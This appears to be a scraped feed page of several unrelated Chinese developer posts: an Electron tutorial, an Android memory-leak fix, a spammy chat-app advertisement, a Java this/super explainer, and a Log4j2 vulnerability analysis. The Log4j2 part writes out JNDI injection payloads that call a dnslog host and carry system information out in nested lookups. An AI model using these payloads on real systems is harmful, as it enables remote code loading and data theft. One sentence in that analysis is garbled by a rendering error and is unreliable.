对于Electron,网上流传着一些风言风语,说微软要放弃Electron了,这里简单辟谣一下,微软自始至终,就没有放弃Electron,也不会放弃Electron,只是旗下的Teams产品打算把Electron框架换成WebView2而已,况且微软内部有很多软件都是基于Electron开发的,比如VSCode和GitHubDesktop,不仅仅是只有Teams这么一个产品在用它,非但微软内部,包括Facebook、MongoDB、twitch、Slack、迅雷、字节跳动、阿里、拼多多、京东等大企业都在用这个框架,这么一个好东西,微软怎么会放弃它呢?所以,各位老铁,不要在听信网上的谣言了,桌面开发工具Electron,兼容 Mac、Windows 和 Linux,可以构建出三个平台的应用程序,学起来,指定没错!

Electron官网:http://www.electronjs.org/

关于Electron的教程,网上一搜一大堆,咱们言简意赅,直奔主题,老铁们,跟好脚步,我们发车!

1、安装 Node.js

别问为什么,问就是,Electron开发依赖Node.js,因为Node.js中允许使用 JavaScript 开发服务端以及命令行程序,我们可以去官网nodejs.org下载最新版本的安装程序,也可以下载我给大家准备好的安装包,都在上面github开源地址中。

下载后,怎么安装,就不用我来教了吧,一路一路下一步,中间会有个选择安装路径,这个尽量自己选一个,不要用默认的,安装完成后会自动配置环境变量,如果没有配置,那就需要自己去环境变量下配置一下:

自己配置的话,首先找到你的安装路径,复制一下:


然后配置到环境变量里,以windows为例子


一切搞定之后,打开命令窗口,输入node -v,检验下是否安装成功,回显当前版本,证明安装成功!


2、安装 Electron

打开命令窗口,输入下面命令:

npm install -g electron

下载慢的话,可以先执行下面的命令,electron安装包指向淘宝的镜像

npm config set electron_mirror "https://npm.taobao.org/mirrors/electron/"

等待安装完成之后,在命令行输入electron -v能够显示版本号代表安装成功。


如果想删除 Electron,可以使用下面的命令。

npm uninstall electron

如果想升级 Electron,则可以使用这个命令。

npm update electron -g

大家也可以指定版本进行安装,有一些版本升高之后,会有一些兼容性问题,目前,我的版本是15.0.0,大家可以和我保持一致。

cnpm install electron@^15.0.0 -g

以上两步执行完毕之后,环境就搭建完毕,剩下的就是愉快的敲代码时刻。

搞一个Hello,World!

随便找一个空的文件夹,进入到目录下,执行下面的命令,或者在命令窗口找到你的目录,都行

npm init 
npm install --save-dev electron 或者安装制定版本 npm install --save-dev electron@^15.0.0

如下图,我新建的一个code目录:


进入到当前目录命令下,执行上面的命令:


当执行npm init时,会按照步骤,让输入很多东西,如果你不想一步一步输入,每次直接回车即可,反正也是可以修改的。

如果想进行一步一步输入,具体流程如下,中间不想输入,可以回车略过:

package name 包名,也就是工程名,默认是括号中的内容 
version:版本号,默认是括号中的内容
description:描述信息
entry point:入口文件名,默认是括号中的内容
test command:测试命令
git repository:git仓库地址
keywords: 密码
author: 作者名字
license: (ISC)许可证

我自己执行的程序如下:


执行完成之后,就会在你刚才选中的目录下,生成一个,package.json文件:


我们打开看一下,其实就是我们一步一步输入的内容:


接着我们在去执行第二个命令,我是选择指定版本进行安装的:


命令执行完毕后,会生成如下图所示:


node_modules,是安装node后,用来存放下载安装的包文件夹。

执行完命令之后,我们就可以书写主入口了,之前执行npm init命令时,有个主入口的输入,还记得吗,就是下面这个:


新建index.js文件


内容如下:

const { app, BrowserWindow } = require('electron')

function createWindow () {  
 // 创建浏览器窗口
 let win = new BrowserWindow({
   width: 800,
   height: 600,
   webPreferences: {
     nodeIntegration: true
  }
})

 // 加载index.html文件
 win.loadFile('index.html')
}

// 应用程序准备就绪后打开一个窗口
app.whenReady().then(createWindow)

紧接着新建一个index.js中对应的index.html文件:


内容如下:

<!DOCTYPE html>
<html>
 <head>
   <meta charset="UTF-8">
   <title>Android可视化工具</title>
 </head>
 <body>
   <h1>Hello,World!</h1>
 </body>
</html>

最后修改package.json,添加Electron运行时


回到目录下,打开命令窗口,执行npm start命令,如下图


执行命令之后,随之就会,弹出来一个可视化窗口,如下图:


ok,一个简单的Demo就完成了,是不是贼简单。

老铁们,第二章的内容,虽然有点多,但基本上都是些操作的步骤,环境的安装以及简单的项目运行,还是希望大家从头到尾的执行一遍,都是一些流程化的操作,并不是很难,下一章,我们讲讲述可视化工具的一些配置项,敬请期待!

作者:二流小码农
来源:https://juejin.cn/post/7090322746260848671

收起阅读 »

一个匿名内部类的导致内存泄漏的解决方案

泄漏原因匿名内部类默认会持有外部类的类的引用。如果外部类是一个Activity或者Fragment,就有可能会导致内存泄漏。 不过在使用kotlin和java中在匿名内部类中有一些不同。在java中,不论接口回调中是否调用到外部类,生成的匿名内部类都会持有外部...
继续阅读 »

泄漏原因

匿名内部类默认会持有外部类的类的引用。如果外部类是一个Activity或者Fragment,就有可能会导致内存泄漏。 不过在使用kotlin和java中在匿名内部类中有一些不同。

  • 在java中,不论接口回调中是否调用到外部类,生成的匿名内部类都会持有外部类的引用

  • 在kotlin中,kotlin有一些相关的优化,如果接口回调中不调用的外部类,那么生成的匿名内部类不会持有外部类的引用,也就不会造成内存泄漏。 反之,如果接口回调中调用到外部类,生成的匿名内部类就会持有外部类引用

我们可以看一个常见的例子:

class MainActivity : AppCompatActivity() {
  private lateinit var textView: TextView
  override fun onCreate(savedInstanceState: Bundle?) {
      super.onCreate(savedInstanceState)
      setContentView(R.layout.activity_main)
      textView = findViewById(R.id.text)
      test()
  }

  private fun test() {
      val client = OkHttpClient()
      val request = Request.Builder()
          .url("www.baidu.com")
          .build();
      client.newCall(request).enqueue(object : Callback {
          override fun onFailure(call: Call, e: IOException) {}
          override fun onResponse(call: Call, response: Response) {
              textView.text = "1111"
          }
      })
  }
}

在Activity的test方法,发起网络请求,在网络请求成功的回调中操作Activity的textView。当然在这个场景中,Callback返回的线程非主线程,不能够直接操作UI。为了简单的验证内存泄漏的问题,先不做线程切换。 可以看看对应编译后的字节码,这个callback会生成匿名内部类。

public final class MainActivity$test$1 implements Callback {
  final /* synthetic */ MainActivity this$0;

  MainActivity$test$1(MainActivity $receiver) {
      this.this$0 = $receiver;
  }

  public void onFailure(Call call, IOException e) {
      Intrinsics.checkNotNullParameter(call, NotificationCompat.CATEGORY_CALL);
      Intrinsics.checkNotNullParameter(e, "e");
  }

  public void onResponse(Call call, Response response) {
      Intrinsics.checkNotNullParameter(call, NotificationCompat.CATEGORY_CALL);
      Intrinsics.checkNotNullParameter(response, "response");
      TextView access$getTextView$p = this.this$0.textView;
      if (access$getTextView$p != null) {
          access$getTextView$p.setText("1111");
      } else {
          Intrinsics.throwUninitializedPropertyAccessException("textView");
          throw null;
      }
  }
}

默认生成了MainActivity$test$1辅助类,这个辅助类持有了外部Activity的引用。 当真正调用了enqueue时,会把这个请求添加请求的队列中。

private val readyAsyncCalls = ArrayDeque<AsyncCall>()
private val runningAsyncCalls = ArrayDeque<AsyncCall>()

网络请求处于等待中,callback会被添加到readyAsyncCalls队列中, 网络请求处于发起,但是未结束时,callback会被添加到runningAsyncCalls队列中。 只有网络请求结束之后,回调之后,才会从队列中移除。 当页面销毁时,网络请求未成功结束时,就会造成内存泄漏,整个引用链路如下图所示:


网络请求只是其中的一个例子,基本上所有的匿名内部类都可能会导致这个内存泄漏的问题。

解决方案

既然匿名内部类导致的内存泄漏场景这么常见,那么有没有一种通用的方案可以解决这类的问题呢?我们通过动态代理去解决匿名内部类导致的内存泄漏的问题。 我们把Activity和Fragment抽象为ICallbackHolder。

public interface ICallbackRegistry {
  void registerCallback(Object callback);
  void unregisterCallback(Object callback);
  boolean isFinishing();
}

提供了三个能力

  • registerCallback: 注册Callback

  • unregisterCallback: 反注册Callback

  • isFinishing: 当前页面是否已经销毁

在我们解决内存泄漏时需要用到这三个API。

还是以上面网络请求的例子,我们可以通过动态代理来解决这个内存泄漏问题。 先看看使用了动态代理之后的依赖关系图

实线表示强引用 虚线表示弱引用

  • 通过动态代理,将使用匿名内部类与okHttp-Dispatcher进行解耦,okHttp-Dispatcher直接引用的动态代理对象, 动态代理对象不直接依赖原始的callback和activity,而是以弱引用的形式依赖。

  • 此时callback并没有被其他对象强引用,如果不做任何处理,这个callback在对应的方法运行结束之后就可能被回收。

  • 所以需要有一个步骤,将这个callback和对应的Activity、Fragment进行绑定。此时就需要用到前面定义到的ICallbackHolder,通过registerCallback将callback注册到对应Activity、Fragment中。

  • 最后在InvocationHandler中的invoke方法,判断当前的Activity、Fragment是否已经finish了,如果已经finish了,就不再进行回调调,否则进行调用。

  • 回调完成后,如果当前的Callback是否是一次性的,就从callbackList中移除。

接下来可以看看我们怎么通过调用来构建这个依赖关系:

使用CallbackUtil

在创建匿名内部类时,同时传入对应的ICallbackHolder

client.newCall(request).enqueue(CallbackUtil.attachToRegistry(object : Callback {
          override fun onFailure(call: Call, e: IOException) {}
          override fun onResponse(call: Call, response: Response) {
              textView.text = "1111"
          }
      }, this))

创建动态代理对象

动态代理对象对于ICallbackHolder和callback的引用都是弱引用,同时将callback注册到ICallbackHolder中。

private static class MyInvocationHandler<T> extends InvocationHandler {

      private WeakReference<T> refCallback;
      private WeakReference<ICallbackHolder> refRegistry;
      private Class<?> wrappedClass;

      public MyInvocationHandler(T reference, ICallbackRegistry callbackRegistry) {
          refCallback = new WeakReference<>(reference);
          wrappedClass = reference.getClass();
          if (callbackRegistry != null) {
              callbackRegistry.registerCallback(reference);
              refRegistry = new WeakReference<>(callbackRegistry);
          }
      }
}

invoke方法处理

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  ICallbackRegistry callbackRegistry = callbackRegistry != null ? refRegistry.get() : null;
  T callback = refCallback.get();
  Method originMethod = ReflectUtils.getMethod(wrappedClass, method.getName(), method.getParameterTypes());
  if (callback == null || holder != null && holder.isFinishing()) {
      return getMethodDefaultReturn(originMethod);
  }

  if (holder != null && ....)
  {
      holder.unregisterCallback(callback);
  }
  ...
  return method.invoke(callback, args);
  }

在页面销毁时,不回调原始callback。这样,也避免了出现因为页面销毁了之后,访问页面的成员,比如被butterknife标注的view导致的内存泄漏问题。

作者:谢谢谢_xie
来源:https://juejin.cn/post/7074038402009530381

收起阅读 »

安全私密的聊天系统可免费使用可转让可定制

iOS
安全私密的聊天系统可免费使用可转让可定制超级稳定的聊天通信系统可在线免费使用 可聊天、红包、转账、超级大群超过20台服务器承载均衡保证超级大群永不丢包,保证不卡顿 用过才知好注册超级方便,国内国外均可注册使用,支持充值提现,支持多人语音视频想下载只需appst...
继续阅读 »


安全私密的聊天系统可免费使用可转让可定制

超级稳定的聊天通信系统可在线免费使用 可聊天、红包、转账、超级大群
超过20台服务器承载均衡保证超级大群永不丢包,保证不卡顿 用过才知好
注册超级方便,国内国外均可注册使用,支持充值提现,支持多人语音视频

想下载只需appstore搜索“兔八” 免费下载使用
安卓版本请前往以下地址下载:tuba2007.com

对于系统源码和定制的问题:

系统支持android、ios、pc(c/s)、webpc、h5等版本

功能具备 系统稳定 团队在通信行业从事十二年

针对大的集团客户高并发做了针对性优化和处理

前端在秒内频繁收发消息上进行了极致优化 可以做到百万级并发不
卡顿不丢包 可合同约束此条款

在功能上除了具备微信常备功能(单聊、群聊、充值提现、h5外链扩展、各红包类型、单以及多人
语音视频、红包转账、位置焚毁、收藏转发、语音翻译、多端同步等等)外,最主要可对超级大群

进行扩展 可保证在达到2000大群的情况下频繁红包等消息类型的调取收发不卡顿 底层架构支持
并能支撑超级大群频繁多开和多处理

在扩展上做了处理和升级

可快速扩展新的消息类型以及在系统扩展第三方应用 可实现与第三方系统的用户同步与数据互通

支持源码合作以及开发定制合作

支持Saas

支持私有化服务器快速t1独立部署

支持一键快速销毁服务器所有存储非存储数据
功能不一一叙述、
需要体验以及合作的加

V:youhuisam 球球:383189941

收起阅读 »

面试官:this和super有什么区别?this能调用到父类吗?

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者...
继续阅读 »

this 和 super 都是 Java 中常见的关键字,虽然二者在很多情况下都可以被省略,但它们在 Java 中所起的作用是不可磨灭的。它们都是用来起指代作用的,每个类在实例化的时候之所以能调用到 Object 类(Object 类是所有类的父类),全是二者的“功劳”。

1.super 关键字

super 是用来访问父类实例属性和方法的。

1.1 super 方法使用

每个实例类如果没有显示的指定构造方法,那么它会生成一个隐藏的无参构造方法。对于 super() 方法也是类似,如果没有显示指定 super() 方法,那么子类会生成一个隐藏的 super() 方法,用来调用父类的无参构造方法,这就是咱们开篇所说的“每个类在实例化的时候之所以能调用到 Object 类,就是默认 super 方法起作用了”,接下来我们通过实例来验证一下这个说法。

PS:所谓的“显示”,是指在程序中主动的调用,也就是在程序中添加相应的执行代码。

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
}

在以上代码中,子类 Son 并没有显示指定 super() 方法,我们运行以上程序,执行的结果如下: 从上述的打印结果可以看出,子类 Son 在没有显示指定 super() 方法的情况下,竟然调用了父类的无参构造方法,这样从侧面验证了,如果子类没有显示指定 super() 方法,那么它也会生成一个隐藏的 super() 方法。这一点我们也可以从此类生成的字节码文件中得到证实,如下图所示:

super 方法注意事项

如果显示使用 super() 方法,那么 super() 方法必须放在构造方法的首行,否则编译器会报错,如下代码所示: 如上图看到的那样,如果 super() 方法没有放在首行,那么编译器就会报错:提示 super() 方法必须放到构造方法的首行。 为什么要把 super() 方法放在首行呢? 这是因为,只要将 super() 方法放在首行,那么在实例化子类时才能确保父类已经被先初始化了。

1.2 super 属性使用

使用 super 还可以调用父类的属性,比如以下代码可以通过子类 Son 调用父类中的 age 属性,实现代码如下:

public class SuperExample {
   // 测试方法
   public static void main(String[] args) {
       Son son = new Son();
  }
}

/**
* 父类
*/
class Father {
   // 定义一个 age 属性
   public int age = 30;

   public Father() {
       super();
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("父类 age:" + super.age);
  }
}

以上程序的执行结果如下图所示,在子类中成功地获取到了父类中的 age 属性:

2.this 关键字

this 是用来访问本类实例属性和方法的,它会先从本类中找,如果本类中找不到则在父类中找。

2.1 this 属性使用

this 最常见的用法是用来赋值本类属性的,比如常见的 setter 方法,如下代码所示: 上述代码中 this.name 表示 Person 类的 name 属性,此处的 this 关键字不能省略,如果省略就相当于给当前的局部变量 name 赋值 name,自己给自己赋值了。我们可以尝试一下,将 this 关键字取消掉,实现代码如下:

class Person {
   private String name;
   public void setName(String name) {
       this.name = name;
  }
   public String getName() {
       return name;
  }
}
public class ThisExample {
   public static void main(String[] args) {
       Person p = new Person();
       p.setName("磊哥");
       System.out.println(p.getName());
  }
}

以上程序的执行结果如下图所示: 从上述结果可以看出,将 this 关键字去掉之后,赋值失败,Person 对象中的 name 属性就为 null 了。

2.2 this 方法使用

我们可以使用 this() 方法来调用本类中的构造方法,具体实现代码如下:

public class ThisExample {
   // 测试方法
   public static void main(String[] args) {
       Son p = new Son("Java");
  }
}

/**
* 父类
*/
class Father {
   public Father() {
       System.out.println("执行父类的构造方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public Son() {
       System.out.println("子类中的无参构造方法");
  }
   public Son(String name) {
       // 使用 this 调用本类中无参的构造方法
       this();
       System.out.println("子类有参构造方法,name:" + name);
  }
}

以上程序的执行结果如下图所示: 从上述结果中可以看出,通过 this() 方法成功调用到了本类中的无参构造方法。

注意:this() 方法和 super() 方法的使用规则一样,如果显示的调用,只能放在方法的首行。

2.3 this 访问父类方法

接下来,我们尝试使用 this 访问父类方法,具体实现代码如下:

public class ThisExample {
   public static void main(String[] args) {
       Son son = new Son();
       son.sm();
  }
}

/**
* 父类
*/
class Father {
   public void fm() {
       System.out.println("调用了父类中的 fm() 方法");
  }
}

/**
* 子类
*/
class Son extends Father {
   public void sm() {
       System.out.println("调用子类的 sm() 方法访问父类方法");
       // 调用父类中的方法
       this.fm();
  }
}

以上程序的执行结果如下: 从上述结果可以看出,使用 this 是可以访问到父类中的方法的,this 会先从本类中找,如果找不到则会去父类中找。

3.this 和 super 的区别

1.指代的对象不同

super 指代的是父类,是用来访问父类的;而 this 指代的是当前类。

2.查找范围不同

super 只能查找父类,而 this 会先从本类中找,如果找不到则会去父类中找。

3.本类属性赋值不同

this 可以用来为本类的实例属性赋值,而 super 则不能实现此功能。

4.this 可用于 synchronized

因为 this 表示当前对象,所以this 可用于 synchronized(this){....} 加锁,而 super 则不能实现此功能。

总结

this 和 super 都是 Java 中的关键字,都起指代作用,当显示使用它们时,都需要将它们放在方法的首行(否则编译器会报错)。this 表示当前对象,super 用来指代父类对象,它们有四点不同:指代对象、查找访问、本类属性赋值和 synchronized 的使用不同。

作者:Java中文社群
来源:https://juejin.cn/post/7046994591253266440

收起阅读 »

从0到1带你深入理解log4j2漏洞

0x01前言从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞...
继续阅读 »



0x01前言

最近IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。

Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:

大量IO操作;

无法合理控制输出,并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

pic_746f57fc.png

在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

pic_a29fa3d8.png

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。

pic_b911ab38.png

0x03 Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包



  org.apache.logging.log4j
  log4j-core
  2.14.0

pic_e9a036b2.png

在工程目录resources下创建log4j2.xml配置文件






 

     
 


 
     
 

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
  String a="${java:os}";
  logger.error(a);
}
}

pic_aafbf0e7.png

属性占位符之Interpolator(插值器)

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map的方式则封装了多个StrLookup对象,如下图显示:

pic_d1985627.png

详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用jndi(javax.naming)获取value。如下图演示。

pic_cb5dc772.png

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档

pic_d98d5967.png

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。

在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:

pic_9b3ba45d.png

pic_d17431d4.png

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

pic_a35d88a0.png

0x04 漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

public static void main(String[] args) {

  Logger logger = LogManager.getLogger(Log4jTEst.class);

  logger.error("${jndi:ldap://2lnhn2.ceye.io}");

}
}

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

pic_cd90f5ec.png

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

pic_bf1e021d.png

pic_3dec5458.png

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

pic_5556a236.png

这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

pic_da4aa8d9.png

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行

pic_8703a6a5.png

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?

可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

pic_b85b66f9.png

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

pic_e0add034.png

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

pic_9cb4d7c7.png

然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示

pic_11229b48.png

说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

pic_7621e8c9.png

当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

pic_9bb0024c.png

pic_618bede7.png

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

pic_a1749651.png

而这里日志优先级数值小于等于200的就只有"error"、“fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。





 




 


所以只需要做一点简单的修改,将中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示



 
     
         
     
 
 
     
         
     
 

关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解JAVA JNDI注入知识详解

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示



  %d %p %c{1.} [%t] $${env:USER} %m%n

获取java运行时版本,jvm版本,和操作系统版本,如下所示



  %d %m%n

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

"${jndi:ldap://${java:os}.2lnhn2.ceye.io}"

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

pic_7f40016f.png

只不过这次迭代处理先处理了"${java:os}",如下图所示

pic_5e142fc5.png

如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

pic_827aa514.png

解析完成后然后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

pic_da9f36b2.png

此时就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

pic_3a438ebd.png

但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

${jndi:ldap://${java:os}.2lnhn2.ceye.io}

执行完成后请求的地址如下

pic_af42e0db.png

最后会报如下错误,并且无法回显

pic_dfbae9c6.png

0x06 2.15.0 rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究究竟是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

pic_8dc15d3c.png

修改后

pic_ede62086.png

